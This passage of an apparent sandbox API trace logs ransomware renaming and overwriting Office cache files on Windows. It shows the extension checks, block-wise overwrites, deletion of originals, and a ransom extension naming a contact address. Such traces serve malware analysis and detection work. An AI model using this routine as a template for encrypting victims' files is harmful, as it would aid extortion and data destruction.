hFile=0x1a8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0128.127] WriteFile (in: hFile=0x1a8, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0128.375] CloseHandle (hObject=0x1a8) returned 1 [0128.375] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0128.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.375] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.375] lstrlenW (lpString=".doc") returned 4 [0128.376] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0128.376] lstrlenW (lpString=".docx") returned 5 [0128.376] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0128.376] lstrlenW (lpString=".pdf") returned 4 [0128.376] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0128.376] lstrlenW (lpString=".xls") returned 4 [0128.376] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0128.376] lstrlenW (lpString=".xlsx") returned 5 [0128.376] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0128.376] lstrlenW (lpString=".ppt") returned 4 [0128.376] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0128.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.376] lstrlenW (lpString=".zip") returned 4 [0128.376] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0128.376] lstrlenW (lpString=".rar") returned 4 [0128.376] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0128.376] lstrlenW (lpString=".bz2") returned 4 [0128.376] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0128.376] lstrlenW (lpString=".7z") returned 3 [0128.376] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0128.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.376] lstrlenW (lpString=".dbf") returned 4 [0128.376] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0128.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.376] lstrlenW (lpString=".1cd") returned 4 [0128.376] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0128.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.376] lstrlenW (lpString=".jpg") returned 4 [0128.376] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0128.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.376] lstrlenW (lpString=".doc") returned 4 [0128.377] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0128.377] lstrlenW (lpString=".docx") returned 5 [0128.377] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0128.377] lstrlenW (lpString=".pdf") returned 4 [0128.377] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0128.377] lstrlenW (lpString=".xls") returned 4 [0128.377] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0128.377] lstrlenW (lpString=".xlsx") returned 5 [0128.377] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0128.377] lstrlenW (lpString=".ppt") returned 4 [0128.377] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0128.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.377] lstrlenW (lpString=".zip") returned 4 [0128.377] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0128.377] lstrlenW (lpString=".rar") returned 4 [0128.377] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0128.377] lstrlenW (lpString=".bz2") returned 4 [0128.377] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0128.377] lstrlenW (lpString=".7z") returned 3 [0128.377] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0128.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.377] lstrlenW (lpString=".dbf") returned 4 [0128.377] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0128.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.377] lstrlenW (lpString=".1cd") returned 4 [0128.377] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0128.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0128.377] lstrlenW (lpString=".jpg") returned 4 [0128.377] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0128.378] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0128.378] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0128.379] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0129.280] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=222948913) returned 1 [0129.280] CloseHandle (hObject=0x1b0) returned 1 [0129.281] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0129.281] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.281] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0129.281] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0129.281] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0129.281] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0129.282] ReadFile (in: hFile=0x1b0, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0129.292] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0129.292] ReadFile (in: hFile=0x1b0, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0129.296] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0129.296] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0129.296] ReadFile (in: hFile=0x1b0, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0129.311] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0129.311] WriteFile (in: hFile=0x1b0, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0104, lpOverlapped=0x0) returned 1 [0129.410] SetEndOfFile (hFile=0x1b0) returned 1 [0129.594] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0129.594] WriteFile (in: hFile=0x1b0, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0129.698] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0129.698] WriteFile (in: hFile=0x1b0, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0129.700] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0129.700] WriteFile (in: hFile=0x1b0, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0129.702] CloseHandle (hObject=0x1b0) returned 1 [0129.702] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0129.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.702] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.702] lstrlenW (lpString=".doc") returned 4 [0129.702] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0129.702] lstrlenW (lpString=".docx") returned 5 [0129.702] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0129.703] lstrlenW (lpString=".pdf") returned 4 [0129.703] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString=".xls") returned 4 [0129.703] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString=".xlsx") returned 5 [0129.703] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0129.703] lstrlenW (lpString=".ppt") returned 4 [0129.703] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.703] lstrlenW (lpString=".zip") returned 4 [0129.703] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString=".rar") returned 4 [0129.703] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString=".bz2") returned 4 [0129.703] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0129.703] lstrlenW (lpString=".7z") returned 3 [0129.703] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0129.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.703] lstrlenW (lpString=".dbf") returned 4 [0129.703] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.703] lstrlenW (lpString=".1cd") returned 4 [0129.703] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0129.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.703] lstrlenW (lpString=".jpg") returned 4 [0129.703] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.703] lstrlenW (lpString=".doc") returned 4 [0129.703] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString=".docx") returned 5 [0129.703] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0129.703] lstrlenW (lpString=".pdf") returned 4 [0129.703] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString=".xls") returned 4 [0129.703] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString=".xlsx") returned 5 [0129.703] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0129.703] lstrlenW (lpString=".ppt") returned 4 [0129.703] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0129.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.704] lstrlenW (lpString=".zip") returned 4 [0129.704] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0129.704] lstrlenW (lpString=".rar") returned 4 [0129.704] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0129.704] lstrlenW (lpString=".bz2") returned 4 [0129.704] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0129.704] lstrlenW (lpString=".7z") returned 3 [0129.704] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0129.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.704] lstrlenW (lpString=".dbf") returned 4 [0129.704] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0129.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.704] lstrlenW (lpString=".1cd") returned 4 [0129.704] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0129.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0129.704] lstrlenW (lpString=".jpg") returned 4 [0129.704] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0129.704] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0129.704] lstrlenW (lpString="PidGenX.dll") returned 11 [0129.704] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0130.343] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=1463568) returned 1 [0130.344] CloseHandle (hObject=0x220) returned 1 [0130.344] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0130.344] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0130.344] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0130.344] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0130.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0130.344] GetLastError () returned 0x0 [0130.344] ReadFile (in: hFile=0x220, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0xffff0, lpOverlapped=0x0) returned 1 [0130.372] WriteFile (in: hFile=0x1d4, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xffff0, lpOverlapped=0x0) returned 1 [0130.622] ReadFile (in: hFile=0x220, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x65520, lpOverlapped=0x0) returned 1 [0130.645] WriteFile (in: hFile=0x1d4, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0x65530, lpOverlapped=0x0) returned 1 [0130.655] ReadFile (in: hFile=0x220, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0130.655] WriteFile (in: hFile=0x1d4, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xea, lpOverlapped=0x0) returned 1 [0130.655] SetEndOfFile (hFile=0x1d4) returned 1 [0130.655] CloseHandle (hObject=0x1d4) returned 1 [0130.776] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0130.776] SetEndOfFile (hFile=0x220) returned 1 [0130.780] CloseHandle (hObject=0x220) returned 1 [0130.780] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.780] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0130.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.781] lstrlenW (lpString=".doc") returned 4 [0130.781] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0130.781] lstrlenW (lpString=".docx") returned 5 [0130.781] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0130.781] lstrlenW (lpString=".pdf") returned 4 [0130.781] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0130.781] lstrlenW (lpString=".xls") returned 4 [0130.781] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0130.781] lstrlenW (lpString=".xlsx") returned 5 [0130.781] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0130.781] lstrlenW (lpString=".ppt") returned 4 [0130.781] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0130.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.781] lstrlenW (lpString=".zip") returned 4 [0130.781] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0130.781] lstrlenW (lpString=".rar") returned 4 [0130.781] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0130.781] lstrlenW (lpString=".bz2") returned 4 [0130.781] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0130.781] lstrlenW (lpString=".7z") returned 3 [0130.781] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0130.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.781] lstrlenW (lpString=".dbf") returned 4 [0130.781] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0130.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.781] lstrlenW (lpString=".1cd") returned 4 [0130.781] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0130.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.781] lstrlenW (lpString=".jpg") returned 4 [0130.781] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0130.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.781] lstrlenW (lpString=".doc") returned 4 [0130.781] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0130.781] lstrlenW (lpString=".docx") returned 5 [0130.781] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0130.782] lstrlenW (lpString=".pdf") returned 4 [0130.782] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0130.782] lstrlenW (lpString=".xls") returned 4 [0130.782] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0130.782] lstrlenW (lpString=".xlsx") returned 5 [0130.782] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0130.782] lstrlenW (lpString=".ppt") returned 4 [0130.782] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0130.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.782] lstrlenW (lpString=".zip") returned 4 [0130.782] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0130.782] lstrlenW (lpString=".rar") returned 4 [0130.782] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0130.782] lstrlenW (lpString=".bz2") returned 4 [0130.782] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0130.782] lstrlenW (lpString=".7z") returned 3 [0130.782] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0130.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.782] lstrlenW (lpString=".dbf") returned 4 [0130.782] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0130.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.782] lstrlenW (lpString=".1cd") returned 4 [0130.782] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0130.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0130.782] lstrlenW (lpString=".jpg") returned 4 [0130.782] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0130.782] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0130.782] lstrlenW (lpString="PidGenX.dll") returned 11 [0130.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0130.889] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=1463568) returned 1 [0130.890] CloseHandle (hObject=0x208) returned 1 [0130.890] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0130.890] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 